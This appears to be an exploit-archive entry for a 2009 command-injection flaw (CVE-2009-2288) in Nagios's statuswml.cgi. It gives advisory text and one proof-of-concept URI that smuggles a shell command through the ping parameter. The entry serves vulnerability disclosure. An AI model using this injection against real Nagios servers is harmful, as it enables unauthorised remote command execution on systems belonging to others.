Nagios 3.0.6 - 'statuswml.cgi' Arbitrary Shell Command Injection

Author: Paul
type: remote
platform: cgi
port: 0
date_added: 2009-05-22
date_updated: 2014-04-27
verified: 1
codes: CVE-2009-2288;OSVDB-55281
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/35464/info

Nagios is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

NOTE: For an exploit to succeed, access to the WAP interface's ping feature must be allowed.

Versions prior to Nagios 3.1.1 are vulnerable.

The following example URI is available:

https://www.example.com/nagios/cgi-bin/statuswml.cgi?ping=173.45.235.65%3Becho+%24PATH
↑